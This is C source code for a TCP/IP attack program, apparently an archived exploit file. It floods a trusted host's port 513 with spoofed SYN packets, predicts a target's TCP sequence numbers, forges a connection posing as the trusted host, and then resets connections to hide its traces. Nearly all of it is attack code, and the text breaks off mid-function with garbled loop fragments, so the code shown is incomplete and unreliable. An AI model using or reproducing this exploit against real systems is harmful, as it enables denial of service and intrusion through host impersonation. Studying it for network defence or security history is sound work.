************************************************************************** HACK: An IP spoofing and sequence number exploiting program System: TCP/IP Source: Mike Neuman, mcn@EnGarde.com ************************************************************************** /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely * for any non-commercial purpose, and this message and the contact * information must remain intact. For commercial purposes, you MUST contact * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is * available from: ftp://aeneas.mit.edu/pub/gnu/ * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Mike Neuman * En Garde Systems * 525 Clara Avenue, Suite 202 * St. Louis, MO 63112 * mcn@EnGarde.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ipbpf.h" /* Include ipbpf header */ #define BADHOST "16.17.18.19" /* The host to spoof flooding the trusted * host's destination port from. This host shouldn't exist, but should have * correct routing entries. The important part is so that returned packets * go to nowhere. */ #define NUMSEQUENCE 80 /* The number of connections to spoof from BADHOST. I made this big. * I've found 4.4BSD will be flooded with only 8 unacked connections. Your * mileage may vary */ #define NUMTESTS 10 /* How many samples of the sequence numbers do you want to take? * I randomly picked 10 and only take the last result. If I wanted to be * elegant, I'd do some sort of statistical average. Sequence numbers * are generally updated by a fixed number, this attempts to compute * this number taking into account average network lag. Fixed sequence * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and * probably others, although I haven't tested them. */ #define ROUTER "router.EnGarde.com" /* The name of your router to the outside world. Spoofed packets need to * be sent to it's ether/fddi address in order to get to the outside world. */ main(argc, argv) int argc; char *argv[]; { struct hostent *he; u_long trust_addr, targ_addr; u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; u_long next_seq, offset; if (argc!=3) { fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]); exit(1); } if ((he=gethostbyname(argv[1]))==NULL) { trust_addr=inet_addr(argv[1]); if (trust_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[1]); exit(1); } } else bcopy(he->h_addr, &trust_addr, 4); if ((he=gethostbyname(argv[2]))==NULL) { targ_addr=inet_addr(argv[2]); if (targ_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[2]); exit(1); } } else bcopy(he->h_addr, &targ_addr, 4); printf("Initializing Packet Filter\n"); use_best(); /* Use the best packet filter available on this system */ if (init_filter("tcp", NULL)) { /* Initialize the packet filter and read only TCP packets */ fprintf(stderr, "Can't init Packet Filter\n"); exit(1); } /* First, send NUMSEQUENCE connection requests from BADHOST to the * trusted host on a trusted port (currently 513). Trusted host will * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never * be a response ACK. Consequently, trusted host's connection queue wil l * fill and it will no longer respond to any packets to port 513. */ printf("[Hosing Trusted Host...]\n"); if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't hose %s\n", argv[1]); exit(1); } /* Next, do a sampling of the difference in sequence numbers. These pac kets * are NOT spoofed as receiving the reply is required. Consequently, th is * host can appear in any packet traces. */ printf("[Determining sequence numbers...]\n"); if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) { fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]); exit(1); } printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offs et); /* Next, do the actual spoofed connection, now that we know what the ne xt * sequence number will be. */ printf("[Spoofing Connection...]\n"); if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) { fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]); exit(1); } /* Finally, reset all of the half started connections on trusted-host. * This will put trusted-host back into it's normal state (and hide * the traces that it was used for evil. */ printf("[Cleaning Up Trusted Mess...]\n"); if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1] ); exit(1); } /* fin */ exit(0); } hose_trusted(trust_host, trust_addr, seq_num, port_num) char *trust_host; u_long trust_addr; u_long seq_num[NUMSEQUENCE]; u_short port_num[NUMSEQUENCE]; { int i; u_long start_seq=49358353+getpid(); /* Make this anything you want */ u_long start_port=600; /* Make this anything you want */ struct ether_header eh; u_long bad_addr; /* First attempt to find the hardware address of the trusted host */ if (ether_hostton(trust_host, &eh.ether_dhost)) { /* If that fails, find the hardware address of the router */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) { fprintf(stderr, "Can't convert BADHOST address.\n"); return(1); } /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simpl e * are: * sendtcppacket_simple( * struct ether_addr source_hardware_address, * struct ether_addr destination_hardware_address, * u_long source_ip_address, * u_long destination_ip_address, * u_short source_port, * u_short destination_port, * u_long sequence_number, * u_long acknowldegement_number, * int TCP flags (SYN, RST, ACK, PUSH, FIN), * char * data, * int datalen) */ for (i=0;ih_addr, &my_addr, 4); for (i=0;i